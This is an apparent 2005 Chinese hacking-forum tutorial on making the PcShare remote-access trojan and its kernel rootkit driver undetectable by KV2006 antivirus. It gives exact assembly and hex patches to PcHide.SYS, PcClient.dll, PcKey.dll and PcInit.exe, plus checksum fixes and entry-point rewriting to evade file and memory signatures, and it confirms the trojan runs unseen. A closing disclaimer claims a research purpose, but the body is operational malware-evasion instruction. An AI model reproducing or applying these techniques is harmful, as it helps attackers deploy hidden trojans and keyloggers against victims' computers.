通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 原创精华 >> 文章正文
推荐:驱动级的特征码修改技术
责任编辑:古典辣M°   更新日期:2005-11-25
 

终级免杀之PcShare Vs KV2006:含驱动的特征码修改(简单版)

1、 驱动程序PcHide.SYS的修改
先来修改驱动的文件特征码吧。第一步是用CCL确定其特征码位置,CCL的使用过程就不再赘述了,直接用自动定位功能,检测大小为10,检测范围为text既代码段。直接看定位结果如下:
    0001    000003DC    0000001F    000003FB   
    0002    000003FC    0000003E    0000043A   
    0003    00001C78    0000001F    00001C97   
    0004    00001C98    0000003E    00001CD6   
    0005    00001CD7    0000003E    00001D15  
看看结果,虽然有5处数据,但前2段和后3段分别相连,也就是说PcHide.SYS总共只有两处特征码,分别在000003DC到0000043A和00001C78到00001D15。像这样两处相连而又相隔较远的情况,一般说来两处必须都要修改。(在结果较多且较分散时,判断起来会麻烦一点,所以我给CCL加了个功能,可以很快确定至少要修改几处,修改哪几处。将在下文介绍。)
下面是IDA反汇编,看代码。先来看3DC处的(如图1):


 
图1


看来不是汇编指令。没关系,在IDA中切换到Hex View窗口观察,原来是字符串“D:\PcShare\瘝鐗堟湰\PcHide\objfre\i386\PcHide.pdb”。中间的乱码没关系,因为我们看到了PcShare和PcHide。改字符串最简单的方法是改大小写,原则是不能干扰原文件执行。这里的字符串给出了一个pdb文件(符号文件?)的路径,虽然我不知道它的具体作用,但大小写改变应该没问题。于是,在UltraEdit中将该处的大写字母全改为小写,完后保存。
光修改这处不行,KV检测一下还会报警,也证实了前面的判断——两处都要修改――是正确的。再来看第二处1C78的代码,修改该处代码既是重点又是难点。

.text:00011C78                 xor     ecx, ecx
.text:00011C7A                 cmp     byte_12280, cl
.text:00011C80                 jz      locret_11D68
.text:00011C86                 push    esi
.text:00011C87                 cli
.text:00011C88                 mov     eax, cr0
.text:00011C8B                 and     eax, 0FFFEFFFFh
.text:00011C90                 mov     cr0, eax
.text:00011C93                 mov     edx, dword_130EC
.text:00011C99                 mov     edx, [edx]
.text:00011C9B                 mov     esi, dword_130E0
.text:00011CA1                 mov     eax, ds:ZwQuerySystemInformation

修改的难点有二,一是该段中包含跳转指令jz,二是指令的顺序没法交换。驱动程序是在内核执行的文件,所以修改时一定要注意,能不添加代码就不要添加,尽量不改变原代码的整体大小。因此,这里用了个特殊的方法。注意这一句and eax,0FFFEFFFFh。要知道eax是CPU最常用的寄存器,因此操作eax的指令通常既短小速度也快,我们看一下这句指令的十六进制编码:25 FF FF FE FF。很明显,25是指令,FFFFFEFF是参数。而and ebx,FFFFFEFF的编码是什么呢?最方便的查看指令编码的工具就是OD了,用OD任意打开一个可执行文件(OD不能直接打开驱动文件),做一下试验,得到编码为:81E3 FFFFFEFF。呵呵,多了一个字节。(看一下Intel指令参考就知道,81代表and指令,E3代表ebx及操作方式,确实eax的指令被优化了。)我们的思路,将这里的寄存器改为ebx。但多出的一字节怎么办呢,不能将所有的代码都向下平移吧!呵呵,我们要在下面的代码中将这个字节找回来。看mov edx, dword_130EC,它的编码为:8B 15 EC 30 01 00,足足6字节。把这里的edx换为eax会怎么样,同样在OD中键入mov eax,dword ptr ds:[130EC],看到了吧,它的编码为:A1 EC300100,只有5个字节,这样代码的大小就平衡了。
还有一个问题要注意,为什么可以将edx改为eax,如果eax存有其它的值怎么办,那不就改变原程序的执行结果啦。不会的,因为向下三行有这样的代码:mov eax, ds:ZwQuerySystemInformation,说明eax的值在这里被更新,因此可以判断出修改eax的值不会影响程序执行。方法已经有了,下面修改。先在OD中将如下代码键入(加黑体的是我们修改的地方):
10003817    0F20C3           mov ebx,cr0
1000381A    81E3 FFFFFEFF    and ebx,FFFEFFFF
10003820    0F22C3           mov cr0,ebx
10003823    A1 EC300100      mov eax,dword ptr ds:[130EC]
10003828    8B10             mov edx,dword ptr ds:[eax]
5句代码共19个字节,与未修改时的一样。由于OD不能直接打开SYS,所以我们用UltraEdit打开PcHide.SYS,直接修改十六进制数据。修改完后保存,再用KV检测。怎么样,文件免杀成功。

下面是非常关键的一步,修改文件的校验和(CheckSum)。这一步也许是众多网友修改后的驱动无法加载的原因。用PeInfo打开sys文件,点击CheckSum,程序自动计算出结果,再点修改就可以了(如图2)。


 
图2


那么驱动的文件特征码改完了,内存的需不需要改呢?我们来试一下:用驱动加载程序将PcHide.sys加载到内存中,用KV进行内存检测。加载工具用InstDvr(www.rootkit.com/vault/hoglund/InstDvr.zip),运行时输入sys文件全路径,先是Install安装,然后Start开始执行。若显示Operation was successful,表示操作成功(如图3所示)。用KV检测,呵呵,检测不到,这样就避免了我们修改内存特征码的麻烦。(没试之前我还真犯愁,CCL暂不具备定位驱动文件内存特征码的功能,这下可以偷懒了,不用再写代码!)


 
图3


2、 PcClient.dll、PcKey.dll与PcInit.exe的文件特征码修改

PS共包括四个关键文件,除了那个SYS处就是这三个。既然不是驱动程序,修改起来真是得心应手。过程就不多说了,只详细说一下改PcClient.dll的,其它直接给出结果,中间的注意事项会提出来。
PcClient第一次定位设置:手动,生成100个文件,范围为整个文件。定位结果为:
    0001    00000000    0000028E    0000028E   
    0002    00002B6E    00000147    00002CB5   
    0003    000036ED    00000147    00003834   
    0004    00007D2E    000002D2    00008000  
 注意,手动检测如果能剩余多个文件不被杀(文件头被覆盖的除外,比如0001项),说明该文件既使有多处特征码,也只需修改一处既可免杀。看结果,范围较大,我们将定位精度调高,再检测一次。将CCL设置为:手动,替换精度16字节,范围为00002B6E开始处0x147个字节(既选取了0002项),再次定位结果就一项:
0001    00002C3E    00000070    00002CAE
 为什么我们将精度设为16,结果的范围却这么大,为70。这说明该特征码本身范围较大,任意改动一小处既可搞定。OK,都不用IDA出手,直接用OD打开PcClient.dll,来到10002C3E处,有如下代码:

.text:10002C41                 mov     edi, [esp+lpServiceName]
.text:10002C45                 mov     esi, eax

.text:10002C81                 mov     edi, [esp+lpDisplayName]
.text:10002C85                 mov     esi, eax

 好爽,最简单的方法,交换顺序既可。保存后再用KV检测,免杀again!
 下面是其余两个文件的修改,这时我没用手动,而用了自动定位,检测范围就是text段,给出结果先。PcKey.dll这样修改:
.text:10001191                 mov     esi, eax
.text:10001193                 test    esi, esi
.text:10001195                 jz      short loc_100011F7
.text:10001197                 mov     ecx, 0FFh
.text:1000119C                 xor     eax, eax
.text:1000119E                 lea     edi, [esp+608h+var_400+1]
 将test esi,esi换为or esi,esi既可。(晕死,改了一个字节就搞定,服了KV!)PcInit.exe共修改两处,一处是
.text:004016AE                 stosd
.text:004016AF                 stosb
第二处是
.text:004017CE                 test    eax, eax
 怎么改不用我说了吧。交换顺序,test变or。再检测,成功。到这里,三个文件的文件特征码全部修改成功。这里说一下上文提到的CCL定位结果排列组合功能,比如在定位PcKey.dll时,自动定位结果为:
    0001    00001180    00000070    000011F0   
    0002    00001790    00000020    000017B0   
    0003    000017C0    00000010    000017D0   
0004    000017E0    00000010    000017F0
精度已经够小了,可四处结果先改哪一处好呢。这时就可以用CCL的该功能:打开PcKey.dll,导入刚才的定位结果,然后点生成(如图4)。在output文件夹里生成了一些文件名为R_X_XXXXXX的文件。用KV对output文件夹扫描,完后删除报警的文件(这里一个也没有删除),再点击检测钮,CCL会给出如下结果:

只修改一处特征码时,仅需修改
    第 1 处
或  第 2 处
或  第 3 处
或  第 4 处

同时修改两处特征码时,可以修改
    第 1 处 和 第 2 处
 或 第 1 处 和 第 3 处
 或 第 1 处 和 第 4 处
 或 第 2 处 和 第 3 处
 或 第 2 处 和 第 4 处
 或 第 3 处 和 第 4 处

同时修改三处特征码时,可以修改
    第 1 处 、第 2 处 和 第 3 处
 或 第 1 处 、第 2 处 和 第 4 处
 或 第 1 处 、第 3 处 和 第 4 处
 或 第 2 处 、第 3 处 和 第 4 处

这说明只需任意修改一处既可。爽吧,不用一个个去试了!


 
图4

3、 内存特征码的修改
 过去我们已经验证了瑞星的文件和内存用了两套特征码,现在KV也具备了内存检测功能,是否也同样是两套特征码呢?我试了一下,生成服务端并用KV检测,不报警,说明文件特征码已成功修改。但双击运行一下,告知没有权限或找不到文件,一切对服务端文件的操作都给禁止了,这肯定是KV搞的鬼。原理我不太清楚了,也许是KV虚拟机执行后检测到内存特征码吧,但这说明一个问题:内存特征码也得改!
定位内存特征码时可按图5操作,每一回合点暂停,并用KV检测内存,根据报警文件的名称选择CCL的复选框,再点击运行,进入下一回合,直到最后CCL给出结果。至于KV提示的“是否清除”,点否既可。
 


过程不讲了,直接给结果。对于PcClient.dll,将10002C49处的call 10002BA0改为call 10002C67,并在10002C67处的空白添加如下代码:
10002C67    E8 34FFFFFF      call PcClient.10002BA0
10002C6C    C3               retn
相当于做了一个间接的CALL。
 第二个PcKey.dll在改完文件特征码后直接内存免杀,检验的方法为用OD加载,并用KV检测内存,dll和exe方法一样。
就剩下PcInit.exe了,还真有点麻烦,因为会出现定位结果处怎么修改都不行的情况,下面边说边解释,并给出解决方法。PcInit.exe的内存特征码定位结果倒是很简单,就一处:
0001    00001798    00000010    000017A8
该处代码为:
00401798   je PcInit.00401A58
0040179E   mov eax,dword ptr ss:[ebp-20]
004017A1   cmp eax,dword ptr ds:[esi+8]
004017A4   jnz PcInit.00401A58
修改起来很简单,将je处的跳转地址改为一个空白地址004025E0,在空白处添加一个jmp就可以了:004025E0 jmp PcInit.00401A58。可这样修改后,用OD加载仍旧报警。我在这里耽误了好一段时间,最后决定改一下入口试试。在空白处添加新的入口:
004025E5    68 3C244000    push PcInit.
004025EA    58             pop eax
004025EB    FFE0           jmp eax
保存后用PeInfo将PcInit.exe的入口改为000025E5。保存修改后再用OD加载并用KV检测内存,呵呵免杀。看来杀软的特征码判断确实和入口处代码(或偏移)相关,至少对待一部分程序是这样。

4、 效果检测及PcShare的卸载
由于我没有肉鸡,所以只能在自已机器上检测一下运行情况,而能否正常工作就不试了,应该没问题。先生成服务端,再打开KV的全部监视,双击运行。嘿嘿,服务端的图标一闪就没了,而KV丝毫没有察觉。打开IcsSword,在SSDT里查看PS驱动是否加载。如图5所示,列表中红色的Yxxxxxxx.sys就是PS的核心,PS的文件名总是以Y开头,后面7个字母随机。还有几行红色的KRegEx.sys是什么呢?那是KV的驱动。查看进程,多了个iexplorer.exe,关闭它马上又会重启,这是因为在一个svchost.exe的进程中有守护线程。

 
图5

打开KV,此时无论你用内存检测还是文件检测都没有用了。(如果可以检测出来,当初KV是不会让PS加载的。)顺便讲一下删除的方法,先在IceSword里的File里将windows\system32\drivers\Y*.sys删除,再重启动计算机。这时另一个被释放的文件windows\system32\Y*.D1L及注册表中的数据就现身了,删除之(也可以启动到DOS下删除)。在注册表里查找Y*,删除所有项就OK了。btw:IceSword确实猛!

5、 结语
看来靠无休止的升级杀毒软件和打补丁是没法儿保证电脑的安全的,主要还是用户的安全意识和水平的提高。介绍这个方法不是让大家都去改马,而是探讨一种方法,也是为了杀软更好的进步。

  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    固顶文章 爱国者安全网2007年度优秀版主评选
    普通文章 瑞星公司01月11日发布 每日计算机病毒及木马播报
    普通文章 破解博彩神助(专注彩票) V2.8.01
    推荐文章 推荐:跨站脚本执行漏洞代码的六点思路
    普通文章 Windows系统下的远程堆栈溢出 实战篇
    普通文章 Windows系统下的远程堆栈溢出 原理篇
    普通文章 MsSQLServer是如何加密口令的
    普通文章 浅谈国内的渗透评估过程
    普通文章 Dvbbs8.1 0DAY(通杀Access和mssql版本)
    普通文章 微软:我们的代码比赛门铁克更安全
    热门文章
    普通文章REAL蛀虫利用播放器漏洞下载恶意程序
    普通文章李彦宏:中国要在互联网领域逐渐超越美国
    普通文章马云:阿里巴巴的成功是一个生态链的成功
    普通文章Ingres用户认证非授权访问漏洞
    普通文章TCPreen FD_SET()函数远程栈溢出漏洞
    普通文章Winace UUE文件解压堆溢出漏洞
    普通文章Pclxav木马猎手第一代特征码引擎源代码
    普通文章IE收藏夹管理小精灵算法分析
    普通文章Extra Drive Pro算法分析历程
    普通文章雨过天晴自我注册
    精彩专题